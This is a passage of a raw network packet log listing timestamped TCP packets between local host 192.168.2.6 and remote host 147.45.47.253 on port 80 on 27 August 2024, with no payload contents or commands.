Aug 27, 2024 20:12:04.474112988 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.474128008 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.474776030 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.474782944 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.474793911 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.474800110 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.474808931 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.474816084 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.474822044 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.474836111 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.474842072 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.474847078 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.474878073 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.474889040 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.474895954 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.474906921 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.474912882 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.474917889 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.474925041 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.474930048 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.474936008 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.474946022 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.474948883 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.474955082 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.474968910 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.474989891 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.475781918 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.475789070 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.475800991 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.475805998 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.475811958 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.475817919 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.475825071 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.475831985 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.475837946 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.475843906 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.475850105 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.475848913 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.475856066 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.475861073 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.475867033 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.475871086 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.475873947 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.475881100 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.475888014 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.475893974 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.475899935 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.475902081 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.475922108 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.475946903 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.476730108 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.476736069 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.476746082 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.476752043 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.476763964 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.476769924 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.476783037 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.476788998 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.476794958 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.476795912 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.476802111 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.476830959 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.476849079 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.476855993 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.476885080 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.476891994 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.476897955 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.476905107 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.476907969 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.476910114 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.476928949 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.476955891 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.477602005 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.477608919 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.477621078 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.477627039 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.477632999 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.477638960 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.477646112 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.477658033 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.477664948 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.477668047 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.477670908 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.477678061 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.477688074 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.477689028 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.477696896 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.477708101 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.477732897 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.478244066 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.478250027 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.478255987 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.478261948 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.478266954 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.478272915 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.478279114 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.478292942 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.478298903 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.478305101 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.478308916 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.478312016 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.478317022 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.478328943 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.478329897 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.478336096 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.478342056 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.478348017 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.478348017 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.478355885 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.478368044 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.478368044 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.478374004 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.478390932 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.478409052 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.479176998 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.479190111 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.479196072 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.479202032 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.479207039 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.479213953 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.479224920 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.479231119 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.479237080 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.479237080 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.479243040 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.479249954 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.479255915 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.479259968 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.479264975 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.479265928 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.479271889 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.479278088 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.479290962 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.479296923 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.479309082 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.479312897 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.479315042 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.479336977 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.479351044 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.480084896 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.480092049 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.480104923 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.480110884 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.480115891 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.480122089 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.480135918 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.480142117 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.480146885 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.480150938 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.480153084 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.480159044 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.480165005 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.480168104 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.480201006 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.480211020 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.523406982 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.528275967 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.709897995 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.709906101 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.710021973 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.710119963 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.710124969 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.710138083 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.710185051 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.710221052 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.710228920 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.710242987 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.710249901 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.710279942 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.710298061 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.710490942 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.710496902 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.710509062 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.710515022 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.710525990 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.710531950 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.710539103 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.710551023 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.710551977 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.710557938 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.710593939 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.710783005 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.710829973 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.710834026 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.710880995 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.710886955 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.710887909 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.710895061 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.710922003 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.710951090 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.711070061 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.711076975 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.711088896 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.711095095 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.711102009 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.711108923 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.711121082 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.711138010 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.711178064 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.711512089 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.711524010 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.711529970 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.711535931 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.711541891 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.711548090 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.711572886 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.711576939 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.711580992 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.711594105 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.711607933 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.711608887 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.711615086 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.711626053 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.711631060 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.711637020 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.711642981 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.711644888 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.711656094 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.711675882 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.711708069 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.713089943 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.713095903 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.713154078 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.713248968 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.713298082 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.714298010 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.714304924 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.714346886 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.714468002 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.714524031 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.714656115 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.714701891 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.714859962 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.714867115 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.714910030 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.715018034 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.715025902 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.715075016 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.715190887 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.715198040 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.715254068 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.715375900 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.715384007 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.715436935 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.715570927 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.715579033 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.715584993 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.715590000 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.715595961 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.715603113 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.715609074 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.715621948 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.715632915 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.715636015 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.715660095 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.715668917 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.715734959 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.715743065 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.715754032 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.715759993 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.715764999 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.715771914 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.715778112 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.715785027 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.715785980 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.715790033 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.715795994 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.715801954 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.715809107 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.715815067 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.715815067 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.715822935 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.715827942 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.715832949 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.715838909 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.715845108 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.715876102 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.715886116 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.715893030 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.715903997 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.715909958 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.715914965 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.715920925 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.715933084 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.715935946 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.715939045 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.715945005 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.715951920 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.715958118 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.715958118 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.715964079 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.715970039 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.715976000 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.715976000 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.715981960 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.715993881 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.716002941 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.716023922 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.716037035 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.716048956 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.716054916 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.716059923 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.716072083 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.716078043 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.716088057 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.716088057 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.716094971 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.716100931 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.716104984 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.716106892 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.716114044 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.716125965 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.716131926 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.716145039 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.716227055 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.797817945 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.797827005 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.797849894 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.797856092 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.797868967 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.797874928 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.797880888 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.797889948 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.797934055 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.797990084 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.798038960 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.798106909 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.798115015 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.798129082 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.798135042 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.798141003 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.798146963 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.798161030 CEST	80	49710	147.45.47.253	192.168.2.6
